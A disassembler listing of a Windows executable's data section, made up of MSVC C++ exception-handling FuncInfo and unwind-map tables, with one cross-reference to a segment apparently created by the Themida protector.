		dd 4, 439038h, 0FFFFFFFFh, 439040h, 2 dup(0)
dword_43F7E8	dd 19930520h, 24h, 43F808h, 5 dup(0)		dd 0FFFFFFFFh, 439070h,	0
		dd offset loc_439078
		dd 1, 439083h, 2, 43908Eh, 3, 439099h, 4, 4390A7h, 5, 4390B5h
		dd 6, 4390C3h, 7, 4390D1h, 8, 4390DFh, 9, 4390EDh, 0Ah
		dd 4390FBh, 0Bh, 439109h, 0Ch, 439117h,	0Dh, 439125h, 0Eh
		dd 439133h, 0Fh, 439141h, 10h, 43914Fh,	11h, 43915Dh, 11h
		dd 439165h, 11h, 43916Dh, 11h, 439175h,	11h, 43917Dh, 11h
		dd 439185h, 11h, 43918Dh, 11h, 439195h,	11h, 43919Dh, 11h
		dd 4391A5h, 11h, 4391ADh, 11h, 4391B5h,	11h, 4391BDh, 11h
		dd 4391C5h, 11h, 4391CDh, 11h, 4391D5h,	11h, 4391DDh, 11h
		dd 4391E5h, 8 dup(0)
dword_43F948	dd 19930520h, 11h, 43F968h, 5 dup(0)		dd 0FFFFFFFFh, 439260h,	0
		dd offset loc_439268
		dd 1, 439273h, 2, 43927Eh, 3, 439289h, 4, 439297h, 5, 4392A5h
		dd 6, 4392B3h, 7, 4392C1h, 8, 4392CFh, 9, 4392DDh, 0Ah
		dd 4392EBh, 0Bh, 4392F9h, 0Ch, 439307h,	0Dh, 439315h, 0Eh
		dd 439323h, 0Fh, 439331h, 4 dup(0)
dword_43FA00	dd 19930520h, 38h, 43FA20h, 5 dup(0)		dd 0FFFFFFFFh, 439390h,	0
		dd offset loc_43939B
		dd 1, 4393A6h, 0
		dd offset loc_4393B1
		dd 0
		dd offset loc_4393BC
		dd 0
		dd offset loc_4393C7
		dd 0
		dd offset loc_4393D2
		dd 0
		dd offset loc_4393DD
		dd 0
		dd offset loc_4393E8
		dd 0
		dd offset loc_4393F3
		dd 9, 4393FEh, 0
		dd offset loc_439409
		dd 0
		dd offset loc_439414
		dd 0
		dd offset loc_43941F
		dd 0
		dd offset loc_43942A
		dd 0Eh,	439435h, 0Eh, 439443h, 0Eh, 439451h, 0Eh, 43945Ch
		dd 0Eh,	43946Ah, 0Eh, 439478h, 0Eh, 439483h, 0Eh, 43948Eh
		dd 0
		dd offset loc_439499
		dd 0
		dd offset loc_4394A4
		dd 0
		dd offset loc_4394B2
		dd 0
; ---------------------------------------------------------------------------
		rcl	byte ptr [ebx+eax*2+1A00h], 0
		retf
; ---------------------------------------------------------------------------
		db 94h,	43h, 0
		dd 1Bh,	4394D6h, 0
		dd offset loc_4394E1
		dd 1Dh,	4394ECh, 0
		dd offset loc_4394F7
		dd 1Fh,	439502h, 0
		dd offset loc_43950D
		dd 0
		dd offset loc_439518
		dd 0
		dd offset loc_439523
		dd 0
		dd offset loc_43952E
		dd 0
		dd offset loc_439539
		dd 25h,	439544h, 26h, 43954Fh, 0
		dd offset loc_43954F
		dd 28h,	439544h, 0
		dd offset loc_43955A
		dd 0
		dd offset loc_439565
		dd 2Bh,	439570h, 2Ch, 43957Bh, 0
		dd offset loc_43957B
		dd 2Eh,	439570h, 2Eh, 439586h, 0
		dd offset loc_439591
		dd 31h,	43959Ch, 0
		dd offset loc_4395A7
		dd 0
		dd offset loc_4395B2
		dd 34h,	4395BDh, 35h, 4395C8h, 34h, 4395C8h, 0Ch dup(0)
dword_43FC10	dd 19930520h, 1, 43FC30h, 5 dup(0)		dd 0FFFFFFFFh, 439670h,	2 dup(0)
dword_43FC40	dd 19930520h, 1, 43FC60h, 5 dup(0)		dd 0FFFFFFFFh, 439690h,	2 dup(0)
dword_43FC70	dd 19930520h, 6, 43FC90h, 5 dup(0)		dd 0FFFFFFFFh, 4396B0h,	0
		dd offset loc_4396B8
		dd 1, 4396C3h, 2, 4396CEh, 3, 4396D9h, 4, 4396E4h, 2 dup(0)
dword_43FCC8	dd 19930520h, 6, 43FCE8h, 5 dup(0)		dd 0FFFFFFFFh, 439710h,	0
		dd offset loc_439718
		dd 1, 439723h, 2, 43972Eh, 3, 439739h, 4, 439744h, 2 dup(0)
dword_43FD20	dd 19930520h, 0Ah, 43FD40h, 5 dup(0)		dd 0FFFFFFFFh, 439770h,	0FFFFFFFFh, 439778h, 0FFFFFFFFh
		dd 439780h, 0FFFFFFFFh,	439788h, 0FFFFFFFFh, 439790h, 0FFFFFFFFh
		dd 439798h, 0FFFFFFFFh,	4397A0h, 0FFFFFFFFh, 4397A8h, 0FFFFFFFFh
		dd 4397B0h, 0FFFFFFFFh,	4397B8h, 4 dup(0)
dword_43FDA0	dd 19930520h, 0Eh, 43FDC0h, 5 dup(0)		dd 0FFFFFFFFh, 4397E0h,	0
		dd offset loc_4397E8
		dd 0FFFFFFFFh, 4397F3h,	0FFFFFFFFh, 4397FBh, 0FFFFFFFFh
		dd 439803h, 0FFFFFFFFh,	43980Bh, 5, 439816h, 0FFFFFFFFh
		dd 43981Eh, 0FFFFFFFFh,	439826h, 0FFFFFFFFh, 43982Eh, 9
		dd 439839h, 0FFFFFFFFh,	439841h, 0Bh, 439849h, 0Ch, 439851h
		dd 4 dup(0)
dword_43FE40	dd 19930520h, 2, 43FE60h, 5 dup(0)		dd 0FFFFFFFFh, 439898h,	0
		dd offset loc_439890
		dd 2 dup(0)
dword_43FE78	dd 19930520h, 2, 43FE98h, 5 dup(0)		dd 0FFFFFFFFh, 4398D0h,	0
		dd offset loc_4398D8
		align 10h
dword_43FEB0	dd 19930520h, 1, 43FED0h, 5 dup(0)		dd 0FFFFFFFFh, 4398F0h,	2 dup(0)
dword_43FEE0	dd 19930520h, 7, 43FF00h, 5 dup(0)		dd 0FFFFFFFFh, 439910h,	0
		dd offset loc_439918
		dd 1, 439923h, 2, 43992Eh, 2, 439936h, 4, 43993Eh, 5, 439946h
		dd 2 dup(0)
dword_43FF40	dd 19930520h, 4, 43FF60h, 5 dup(0)		dd 0FFFFFFFFh, 439970h,	0
		dd offset loc_43997B
		dd 1, 439986h, 2, 439991h, 2 dup(0)
dword_43FF88	dd 19930520h, 4, 43FFA8h, 5 dup(0)		dd 0FFFFFFFFh, 4399C0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 99h,	43h, 0
		dd 1, 4399D6h, 2, 4399E1h, 2 dup(0)
dword_43FFD0	dd 19930520h, 2, 43FFF0h, 5 dup(0)		dd 0FFFFFFFFh, 439A10h,	0FFFFFFFFh, 439A18h, 2 dup(0)
dword_440008	dd 19930520h, 1, 440028h, 5 dup(0)		dd 0FFFFFFFFh, 439A30h,	2 dup(0)
dword_440038	dd 19930520h, 1, 440058h, 5 dup(0)		dd 0FFFFFFFFh, 439A50h,	2 dup(0)
dword_440068	dd 19930520h, 2, 440088h, 5 dup(0)		dd 0FFFFFFFFh, 439A70h,	0
		dd offset loc_439A78
		align 10h
dword_4400A0	dd 19930520h, 3, 4400C0h, 5 dup(0)		dd 0FFFFFFFFh, 439A90h,	0
		dd offset loc_439A98
		dd 1, 439AA3h, 2 dup(0)
dword_4400E0	dd 19930520h, 3, 440100h, 5 dup(0)		dd 0FFFFFFFFh, 439AD0h,	0
		dd offset loc_439AD8
		dd 1, 439AE0h, 2 dup(0)
dword_440120	dd 19930520h, 1, 440140h, 5 dup(0)		dd 0FFFFFFFFh, 439B00h,	2 dup(0)
dword_440150	dd 19930520h, 4, 440170h, 5 dup(0)		dd 0FFFFFFFFh, 439B20h,	0
		dd offset loc_439B28
		dd 0
		dd offset loc_439B30
		dd 0
		dd offset loc_439B3B
		dd 2 dup(0)
dword_440198	dd 19930520h, 6, 4401B8h, 5 dup(0)		dd 0FFFFFFFFh, 439B60h,	0
		dd offset loc_439B68
		dd 1, 439B70h, 2, 439B78h, 3, 439B80h, 4, 439B88h, 2 dup(0)
dword_4401F0	dd 19930520h, 3, 440210h, 5 dup(0)		dd 0FFFFFFFFh, 439BB0h,	0
		dd offset loc_439BBB
		dd 1, 439BC6h, 2 dup(0)
dword_440230	dd 19930520h, 4, 440250h, 5 dup(0)		dd 0FFFFFFFFh, 439BF0h,	0
		dd offset loc_439BF8
		dd 1, 439C00h, 2, 439C08h, 2 dup(0)
dword_440278	dd 19930520h, 5, 440298h, 5 dup(0)		dd 0FFFFFFFFh, 439C30h,	0
		dd offset loc_439C38
		dd 1, 439C40h, 2, 439C48h, 3, 439C50h, 2 dup(0)
dword_4402C8	dd 19930520h, 4, 4402E8h, 5 dup(0)		dd 0FFFFFFFFh, 439C80h,	0
		dd offset loc_439C88
		dd 1, 439C93h, 2, 439C9Eh, 2 dup(0)
dword_440310	dd 19930520h, 3, 440330h, 5 dup(0)		dd 0FFFFFFFFh, 439CC0h,	0
		dd offset loc_439CC8
		dd 1, 439CD0h, 2 dup(0)
dword_440350	dd 19930520h, 1, 440370h, 5 dup(0)		dd 0FFFFFFFFh, 439CF0h,	2 dup(0)
dword_440380	dd 19930520h, 2, 4403A0h, 5 dup(0)		dd 0FFFFFFFFh, 439D10h,	0
		dd offset loc_439D18
		dd 2 dup(0)
dword_4403B8	dd 19930520h, 2, 4403D8h, 5 dup(0)		dd 0FFFFFFFFh, 439D30h,	0
		dd offset loc_439D38
		align 10h
dword_4403F0	dd 19930520h, 3, 440410h, 5 dup(0)		dd 0FFFFFFFFh, 439D50h,	0
		dd offset loc_439D5B
		dd 1, 439D66h, 2 dup(0)
dword_440430	dd 19930520h, 1, 440450h, 5 dup(0)		dd 0FFFFFFFFh, 439D90h,	2 dup(0)
dword_440460	dd 19930520h, 1, 440480h, 5 dup(0)		dd 0FFFFFFFFh, 439DB0h,	2 dup(0)
dword_440490	dd 19930520h, 4, 4404B0h, 5 dup(0)		dd 0FFFFFFFFh, 439DD0h,	0
		dd offset loc_439DD8
		dd 1, 439DE3h, 2, 439DEEh, 2 dup(0)
dword_4404D8	dd 19930520h, 7, 4404F8h, 5 dup(0)		dd 0FFFFFFFFh, 439E10h,	0FFFFFFFFh, 439E18h, 0FFFFFFFFh
		dd 439E20h, 2, 439E28h,	3, 439E30h, 4, 439E38h,	0FFFFFFFFh
		dd 439E40h, 2 dup(0)
dword_440538	dd 19930520h, 1Bh, 440558h, 5 dup(0)		dd 0FFFFFFFFh, 439E70h,	0
		dd offset loc_439E78
		dd 1, 439E83h, 2, 439E91h, 3, 439E9Fh, 4, 439EADh, 5, 439EBBh
		dd 6, 439EC9h, 7, 439ED7h, 8, 439EE5h, 9, 439EF3h, 0Ah
		dd 439F01h, 0Bh, 439F0Fh, 0Ch, 439F1Dh,	0Dh, 439F2Bh, 0Eh
		dd 439F39h, 0Fh, 439F47h, 10h, 439F55h,	11h, 439F63h, 12h
		dd 439F71h, 13h, 439F7Fh, 14h, 439F8Dh,	15h, 439F9Bh, 16h
		dd 439FA9h, 17h, 439FB7h, 18h, 439FC5h,	19h, 439FD3h, 6	dup(0)
dword_440648	dd 19930520h, 1Bh, 440668h, 5 dup(0)		dd 0FFFFFFFFh, 43A050h,	0
		dd offset loc_43A058
		dd 1, 43A063h, 2, 43A071h, 3, 43A07Fh, 4, 43A08Dh, 5, 43A09Bh
		dd 6, 43A0A9h, 7, 43A0B7h, 8, 43A0C5h, 9, 43A0D3h, 0Ah
		dd 43A0E1h, 0Bh, 43A0EFh, 0Ch, 43A0FDh,	0Dh, 43A10Bh, 0Eh
		dd 43A119h, 0Fh, 43A127h, 10h, 43A135h,	11h, 43A143h, 12h
		dd 43A151h, 13h, 43A15Fh, 14h, 43A16Dh,	15h, 43A17Bh, 16h
		dd 43A189h, 17h, 43A197h, 18h, 43A1A5h,	19h, 43A1B3h, 6	dup(0)
dword_440758	dd 19930520h, 1, 440778h, 5 dup(0)		dd 0FFFFFFFFh, 43A230h,	2 dup(0)
dword_440788	dd 19930520h, 3Dh, 4407A8h, 5 dup(0)		dd 0FFFFFFFFh, 43A250h,	0
		dd offset loc_43A25B
		dd 1, 43A266h, 2, 43A274h, 3, 43A282h, 4, 43A290h, 5, 43A29Eh
		dd 6, 43A2ACh, 7, 43A2BAh, 8, 43A2C8h, 9, 43A2D6h, 0Ah
		dd 43A2E4h, 0Bh, 43A2F2h, 0Ch, 43A300h,	0Dh, 43A30Eh, 0Eh
		dd 43A31Ch, 0Fh, 43A32Ah, 10h, 43A338h,	11h, 43A346h, 12h
		dd 43A354h, 13h, 43A362h, 14h, 43A370h,	15h, 43A37Eh, 16h
		dd 43A38Ch, 17h, 43A39Ah, 18h, 43A3A8h,	19h, 43A3B6h, 1Ah
		dd 43A3C4h, 1Bh, 43A3D2h, 1Ch, 43A3E0h,	1Dh, 43A3EEh, 1Eh
		dd 43A3FCh, 1Fh, 43A40Ah, 20h, 43A418h,	21h, 43A426h, 22h
		dd 43A434h, 23h, 43A442h, 24h, 43A450h,	25h, 43A45Eh, 26h
		dd 43A46Ch, 27h, 43A47Ah, 28h, 43A488h,	29h, 43A496h, 2Ah
		dd 43A4A4h, 2Bh, 43A4B2h, 2Ch, 43A4C0h,	2Dh, 43A4CEh, 2Eh
		dd 43A4DCh, 2Fh, 43A4EAh, 30h, 43A4F8h,	31h, 43A506h, 32h
		dd 43A514h, 33h, 43A522h, 34h, 43A530h,	35h, 43A53Eh, 36h
		dd 43A54Ch, 37h, 43A55Ah, 38h, 43A568h,	39h, 43A576h, 3Ah
		dd 43A584h, 3Bh, 43A592h, 0Eh dup(0)
dword_4409C8	dd 19930520h, 4, 4409E8h, 5 dup(0)		dd 0FFFFFFFFh, 43A680h,	0
		dd offset loc_43A68B
		dd 1, 43A696h, 2, 43A6A1h, 2 dup(0)
dword_440A10	dd 19930520h, 6, 440A30h, 5 dup(0)		dd 0FFFFFFFFh, 43A6D0h,	0
		dd offset loc_43A6DB
		dd 1, 43A6E6h, 2, 43A6F1h, 3, 43A6FFh, 4, 43A70Dh, 2 dup(0)
dword_440A68	dd 19930520h, 4, 440A88h, 5 dup(0)		dd 0FFFFFFFFh, 43A740h,	0
		dd offset loc_43A74E
		dd 1, 43A75Ch, 2, 43A76Ah, 2 dup(0)
dword_440AB0	dd 19930520h, 5, 440AD0h, 5 dup(0)		dd 0FFFFFFFFh, 43A7A0h,	0
		dd offset loc_43A7AB
		dd 1, 43A7B6h, 2, 43A7C1h, 3, 43A7CFh, 2 dup(0)
dword_440B00	dd 19930520h, 5, 440B20h, 5 dup(0)		dd 0FFFFFFFFh, 43A800h,	0
		dd offset loc_43A80B
		dd 1, 43A816h, 2, 43A821h, 3, 43A82Fh, 2 dup(0)
dword_440B50	dd 19930520h, 1, 440B70h, 5 dup(0)		dd 0FFFFFFFFh, 43A860h,	2 dup(0)
dword_440B80	dd 19930520h, 1, 440BA0h, 5 dup(0)		dd 0FFFFFFFFh, 43A880h,	2 dup(0)
dword_440BB0	dd 19930520h, 1, 440BD0h, 5 dup(0)		dd 0FFFFFFFFh, 43A8A0h,	2 dup(0)
dword_440BE0	dd 19930520h, 2, 440C00h, 5 dup(0)		dd 0FFFFFFFFh, 43A8C0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0A8h, 43h, 0
		dd 2 dup(0)
dword_440C18	dd 19930520h, 4, 440C38h, 5 dup(0)		dd 0FFFFFFFFh, 43A8F0h,	0
		dd offset loc_43A8FB
		dd 1, 43A906h, 2, 43A911h, 2 dup(0)
dword_440C60	dd 19930520h, 4, 440C80h, 5 dup(0)		dd 0FFFFFFFFh, 43A940h,	0
		dd offset loc_43A94B
		dd 1, 43A956h, 2, 43A961h, 2 dup(0)
dword_440CA8	dd 19930520h, 6, 440CC8h, 5 dup(0)		dd 0FFFFFFFFh, 43A990h,	0
		dd offset loc_43A99B
		dd 1, 43A9A6h, 2, 43A9B1h, 3, 43A9BFh, 4, 43A9CDh, 2 dup(0)
dword_440D00	dd 19930520h, 4, 440D20h, 5 dup(0)		dd 0FFFFFFFFh, 43AA00h,	0
		dd offset loc_43AA0E
		dd 1, 43AA1Ch, 2, 43AA2Ah, 2 dup(0)
dword_440D48	dd 19930520h, 5, 440D68h, 5 dup(0)		dd 0FFFFFFFFh, 43AA60h,	0
		dd offset loc_43AA6B
		dd 1, 43AA76h, 2, 43AA81h, 3, 43AA8Fh, 2 dup(0)
dword_440D98	dd 19930520h, 5, 440DB8h, 5 dup(0)		dd 0FFFFFFFFh, 43AAC0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0AAh, 43h, 0
		dd 1, 43AAD6h, 2, 43AAE1h, 3, 43AAEFh, 2 dup(0)
dword_440DE8	dd 19930520h, 1, 440E08h, 5 dup(0)		dd 0FFFFFFFFh, 43AB20h,	2 dup(0)
dword_440E18	dd 19930520h, 1, 440E38h, 5 dup(0)		dd 0FFFFFFFFh, 43AB40h,	2 dup(0)
dword_440E48	dd 19930520h, 1, 440E68h, 5 dup(0)		dd 0FFFFFFFFh, 43AB60h,	2 dup(0)
dword_440E78	dd 19930520h, 2, 440E98h, 5 dup(0)		dd 0FFFFFFFFh, 43AB80h,	0
		dd offset loc_43AB8B
		align 10h
dword_440EB0	dd 19930520h, 4, 440ED0h, 5 dup(0)		dd 0FFFFFFFFh, 43ABB0h,	0
		dd offset loc_43ABBB
		dd 1, 43ABC6h, 2, 43ABD1h, 2 dup(0)
dword_440EF8	dd 19930520h, 1, 440F18h, 5 dup(0)		dd 0FFFFFFFFh, 43AC00h,	2 dup(0)
dword_440F28	dd 19930520h, 2, 440F48h, 5 dup(0)		dd 0FFFFFFFFh, 43AC20h,	0
		dd offset loc_43AC2B
		align 10h
dword_440F60	dd 19930520h, 1, 440F80h, 5 dup(0)					; Themida_:005A23A3o
		dd 0FFFFFFFFh, 43AC50h,	2 dup(0)
dword_440F90	dd 19930520h, 1, 440FB0h, 5 dup(0)		dd 0FFFFFFFFh, 43AC70h,	2 dup(0)
dword_440FC0	dd 19930520h, 2, 440FE0h, 5 dup(0)		dd 0FFFFFFFFh, 43AC90h,	0
		dd offset loc_43AC9B
		dd 2 dup(0)
dword_440FF8	dd 19930520h, 1, 441018h, 5 dup(0)		dd 0FFFFFFFFh, 43ACC0h,	2 dup(0)
dword_441028	dd 19930520h, 3, 441048h, 5 dup(0)		dd 0FFFFFFFFh, 43ACE0h,	0
		dd offset loc_43ACF7
		dd 1, 43ACFFh, 2 dup(0)
dword_441068	dd 19930520h, 1, 441088h, 5 dup(0)		dd 0FFFFFFFFh, 43AD20h,	2 dup(0)
dword_441098	dd 19930520h, 4, 4410B8h, 5 dup(0)		dd 0FFFFFFFFh, 43AD48h,	0
		dd offset sub_43AD40
		dd 0
		dd offset loc_43AD5F
		dd 2, 43AD67h, 2 dup(0)
dword_4410E0	dd 19930520h, 6, 441100h, 5 dup(0)		dd 0FFFFFFFFh, 43AD90h,	0FFFFFFFFh, 43AD98h, 0FFFFFFFFh
		dd 43ADA0h, 0FFFFFFFFh,	43ADA8h, 0FFFFFFFFh, 43ADB0h, 0FFFFFFFFh
		dd 43ADB8h, 2 dup(0)
dword_441138	dd 19930520h, 1Ah, 441158h, 5 dup(0)		dd 0FFFFFFFFh, 43ADE0h,	0
		dd offset loc_43ADEB
		dd 1, 43ADF6h, 2, 43AE01h, 3, 43AE0Ch, 4, 43AE17h, 5, 43AE1Fh
		dd 5, 43AE2Ah, 5, 43AE35h, 5, 43AE43h, 5, 43AE4Eh, 5, 43AE59h
		dd 5, 43AE67h, 5, 43AE72h, 5, 43AE7Dh, 5, 43AE88h, 5, 43AE96h
		dd 5, 43AEA1h, 5, 43AEACh, 5, 43AEBAh, 5, 43AEC5h, 5, 43AED0h
		dd 5, 43AEDEh, 5, 43AEE9h, 5, 43AEF4h, 5, 43AEFFh, 6 dup(0)
dword_441240	dd 19930520h, 4, 441260h, 5 dup(0)		dd 0FFFFFFFFh, 43AF70h,	0
		dd offset loc_43AF78
		dd 1, 43AF83h, 2, 43AF8Eh, 2 dup(0)
dword_441288	dd 19930520h, 4, 4412A8h, 5 dup(0)		dd 0FFFFFFFFh, 43AFB0h,	0
		dd offset loc_43AFB8
		dd 1, 43AFC3h, 2, 43AFCEh, 2 dup(0)
dword_4412D0	dd 19930520h, 6, 4412F0h, 5 dup(0)		dd 0FFFFFFFFh, 43AFF0h,	0
		dd offset loc_43AFF8
		dd 1, 43B003h, 2, 43B00Eh, 3, 43B019h, 4, 43B024h, 2 dup(0)
dword_441328	dd 19930520h, 6, 441348h, 5 dup(0)		dd 0FFFFFFFFh, 43B050h,	0
		dd offset loc_43B058
		dd 1, 43B063h, 2, 43B06Eh, 3, 43B079h, 4, 43B084h, 2 dup(0)
dword_441380	dd 19930520h, 6, 4413A0h, 5 dup(0)		dd 0FFFFFFFFh, 43B0B0h,	0FFFFFFFFh, 43B0BBh, 0FFFFFFFFh
		dd 43B0C6h, 2, 43B0D1h,	3, 43B0DCh, 2, 43B0E7h,	2 dup(0)
dword_4413D8	dd 19930520h, 3, 4413F8h, 5 dup(0)		dd 0FFFFFFFFh, 43B110h,	0FFFFFFFFh, 43B118h, 0FFFFFFFFh
		dd 43B120h, 2 dup(0)
dword_441418	dd 19930520h, 5, 441438h, 5 dup(0)		dd 0FFFFFFFFh, 43B140h,	0FFFFFFFFh, 43B148h, 0FFFFFFFFh
		dd 43B150h, 0FFFFFFFFh,	43B158h, 0FFFFFFFFh, 43B160h, 2	dup(0)
dword_441468	dd 19930520h, 0Ch, 441488h, 5 dup(0)		dd 0FFFFFFFFh, 43B180h,	0
		dd offset loc_43B188
		dd 0FFFFFFFFh, 43B190h,	0FFFFFFFFh, 43B198h, 0FFFFFFFFh
		dd 43B1A0h, 0FFFFFFFFh,	43B1A8h, 5, 43B1B0h, 0FFFFFFFFh
		dd 43B1B8h, 0FFFFFFFFh,	43B1C0h, 0FFFFFFFFh, 43B1C8h, 0FFFFFFFFh
		dd 43B1D0h, 0FFFFFFFFh,	43B1D8h, 4 dup(0)
dword_4414F8	dd 19930520h, 2, 441518h, 1, 441528h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 441540h, 4	dup(0)
		dd offset loc_41EE2C
		dd 2 dup(0)
dword_441558	dd 19930520h, 0Ah, 441578h, 5 dup(0)		dd 0FFFFFFFFh, 43B220h,	0
		dd offset loc_43B22B
		dd 1, 43B236h, 2, 43B241h, 3, 43B24Ch, 3, 43B257h, 3, 43B262h
		dd 3, 43B26Dh, 3, 43B278h, 3, 43B283h, 4 dup(0)
dword_4415D8	dd 19930520h, 2, 4415F8h, 5 dup(0)		dd 0FFFFFFFFh, 43B2C0h,	0
		dd offset loc_43B2C8
		align 10h
dword_441610	dd 19930520h, 3, 441630h, 5 dup(0)		dd 0FFFFFFFFh, 43B2E0h,	0FFFFFFFFh, 43B2EBh, 1,	43B2F6h
		dd 2 dup(0)
dword_441650	dd 19930520h, 1, 441670h, 5 dup(0)		dd 0FFFFFFFFh, 43B320h,	2 dup(0)
dword_441680	dd 19930520h, 2, 4416A0h, 5 dup(0)		dd 0FFFFFFFFh, 43B340h,	0
		dd offset loc_43B34B
		dd 2 dup(0)
dword_4416B8	dd 19930520h, 16h, 4416D8h, 5 dup(0)		dd 0FFFFFFFFh, 43B370h,	0
		dd offset loc_43B37B
		dd 0
		dd offset loc_43B383
		dd 0
		dd offset loc_43B38B
		dd 3, 43B393h, 4, 43B39Bh, 0
		dd offset loc_43B3A3
		dd 6, 43B3ABh, 7, 43B3B3h, 0
		dd offset loc_43B3BB
		dd 9, 43B3C3h, 0Ah, 43B3CBh, 0
		dd offset loc_43B3D3
		dd 0Ch,	43B3DBh, 0Dh, 43B3E3h, 0
		dd offset loc_43B3EB
		dd 0Fh,	43B3F3h, 0
		dd offset loc_43B3FB
		dd 11h,	43B403h, 0
		dd offset loc_43B40B
		dd 13h,	43B413h, 13h, 43B41Bh, 6 dup(0)
dword_4417A0	dd 19930520h, 1, 4417C0h, 5 dup(0)		dd 0FFFFFFFFh, 43B460h,	2 dup(0)
dword_4417D0	dd 19930520h, 1, 4417F0h, 5 dup(0)		dd 0FFFFFFFFh, 43B490h,	2 dup(0)
dword_441800	dd 19930520h, 5, 441820h, 5 dup(0)		dd 0FFFFFFFFh, 43B4C0h,	0FFFFFFFFh, 43B4C8h, 0FFFFFFFFh
		dd 43B4D0h, 0FFFFFFFFh,	43B4D8h, 0FFFFFFFFh, 43B4E0h, 2	dup(0)
dword_441850	dd 19930520h, 0Bh, 441870h, 5 dup(0)		dd 0FFFFFFFFh, 43B500h,	0FFFFFFFFh, 43B50Bh, 0FFFFFFFFh
		dd 43B521h, 0FFFFFFFFh,	43B52Ch, 0FFFFFFFFh, 43B537h, 0FFFFFFFFh
		dd 43B542h, 0FFFFFFFFh,	43B54Dh, 0FFFFFFFFh, 43B558h, 0FFFFFFFFh
		dd 43B563h, 0FFFFFFFFh,	43B56Eh, 0FFFFFFFFh, 43B516h, 4	dup(0)
dword_4418D8	dd 19930520h, 5, 4418F8h, 5 dup(0)		dd 0FFFFFFFFh, 43B5B0h,	0FFFFFFFFh, 43B5B8h, 0FFFFFFFFh
		dd 43B5C0h, 0FFFFFFFFh,	43B5C8h, 0FFFFFFFFh, 43B5D0h, 2	dup(0)
dword_441928	dd 19930520h, 15h, 441948h, 5 dup(0)		dd 0FFFFFFFFh, 43B5F0h,	0FFFFFFFFh, 43B5FBh, 0FFFFFFFFh
		dd 43B603h, 0FFFFFFFFh,	43B60Bh, 0FFFFFFFFh, 43B613h, 0FFFFFFFFh
		dd 43B61Bh, 0FFFFFFFFh,	43B626h, 0FFFFFFFFh, 43B62Eh, 0FFFFFFFFh
		dd 43B636h, 0FFFFFFFFh,	43B63Eh, 0FFFFFFFFh, 43B646h, 0FFFFFFFFh
		dd 43B651h, 0FFFFFFFFh,	43B659h, 0FFFFFFFFh, 43B661h, 0FFFFFFFFh
		dd 43B669h, 0FFFFFFFFh,	43B671h, 0FFFFFFFFh, 43B67Ch, 0FFFFFFFFh
		dd 43B684h, 0FFFFFFFFh,	43B68Ch, 0FFFFFFFFh, 43B694h, 0FFFFFFFFh
		dd 43B69Ch, 6 dup(0)
dword_441A08	dd 19930520h, 1, 441A28h, 5 dup(0)		dd 0FFFFFFFFh, 43B6E0h,	2 dup(0)
dword_441A38	dd 19930520h, 5, 441A58h, 5 dup(0)		dd 0FFFFFFFFh, 43B700h,	0
		dd offset loc_43B708
		dd 1, 43B713h, 2, 43B71Eh, 3, 43B729h, 2 dup(0)
dword_441A88	dd 19930520h, 5, 441AA8h, 5 dup(0)		dd 0FFFFFFFFh, 43B750h,	0
		dd offset loc_43B758
		dd 1, 43B763h, 2, 43B76Eh, 3, 43B779h, 2 dup(0)
dword_441AD8	dd 19930520h, 1, 441AF8h, 5 dup(0)		dd 0FFFFFFFFh, 43B7A0h,	2 dup(0)
dword_441B08	dd 19930520h, 1, 441B28h, 5 dup(0)		dd 0FFFFFFFFh, 43B7C0h,	2 dup(0)
dword_441B38	dd 19930520h, 1, 441B58h, 5 dup(0)		dd 0FFFFFFFFh, 43B7E0h,	2 dup(0)
dword_441B68	dd 19930520h, 1, 441B88h, 5 dup(0)		dd 0FFFFFFFFh, 43B800h,	2 dup(0)
dword_441B98	dd 19930520h, 1, 441BB8h, 5 dup(0)		dd 0FFFFFFFFh, 43B820h,	2 dup(0)
dword_441BC8	dd 19930520h, 1, 441BE8h, 5 dup(0)		dd 0FFFFFFFFh, 43B840h,	2 dup(0)
dword_441BF8	dd 19930520h, 1, 441C18h, 5 dup(0)		dd 0FFFFFFFFh, 43B860h,	2 dup(0)
dword_441C28	dd 19930520h, 1, 441C48h, 5 dup(0)		dd 0FFFFFFFFh, 43B880h,	2 dup(0)
dword_441C58	dd 19930520h, 6, 441C78h, 5 dup(0)		dd 0FFFFFFFFh, 43B8A0h,	0
		dd offset loc_43B8A8
		dd 1, 43B8B3h, 2, 43B8BEh, 3, 43B8C9h, 4, 43B8D4h, 2 dup(0)
dword_441CB0	dd 19930520h, 6, 441CD0h, 5 dup(0)		dd 0FFFFFFFFh, 43B900h,	0
		dd offset loc_43B908
		dd 1, 43B913h, 2, 43B91Eh, 3, 43B929h, 4, 43B934h, 2 dup(0)
dword_441D08	dd 19930520h, 3, 441D28h, 5 dup(0)		dd 0FFFFFFFFh, 43B960h,	0
		dd offset loc_43B968
		dd 1, 43B976h, 2 dup(0)
dword_441D48	dd 19930520h, 16h, 441D68h, 5 dup(0)		dd 0FFFFFFFFh, 43B9A0h,	0
		dd offset loc_43B9AB
		dd 1, 43B9B6h, 2, 43B9C1h, 2, 43B9CCh, 2, 43B9D7h, 2, 43B9E2h
		dd 6, 43B9EDh, 2, 43B9F8h, 8, 43BA03h, 2, 43BA0Eh, 0Ah
		dd 43BA19h, 2, 43BA24h,	0Ch, 43BA2Fh, 0Dh, 43BA3Ah, 0Eh
		dd 43BA45h, 0Fh, 43BA50h, 0Fh, 43BA5Bh,	0Fh, 43BA66h, 0Fh
		dd 43BA71h, 0Fh, 43BA7Ch, 0Fh, 43BA87h,	6 dup(0)
dword_441E30	dd 19930520h, 1, 441E50h, 5 dup(0)		dd 0FFFFFFFFh, 43BAE0h,	2 dup(0)
dword_441E60	dd 19930520h, 1, 441E80h, 5 dup(0)		dd 0FFFFFFFFh, 43BB00h,	2 dup(0)
dword_441E90	dd 19930520h, 1, 441EB0h, 5 dup(0)		dd 0FFFFFFFFh, 43BB20h,	2 dup(0)
dword_441EC0	dd 19930520h, 1, 441EE0h, 5 dup(0)		dd 0FFFFFFFFh, 43BB40h,	2 dup(0)
dword_441EF0	dd 19930520h, 1, 441F10h, 5 dup(0)		dd 0FFFFFFFFh, 43BB60h,	2 dup(0)
dword_441F20	dd 19930520h, 2, 441F40h, 1, 441F50h, 3	dup(0)		dd 0FFFFFFFFh, 0
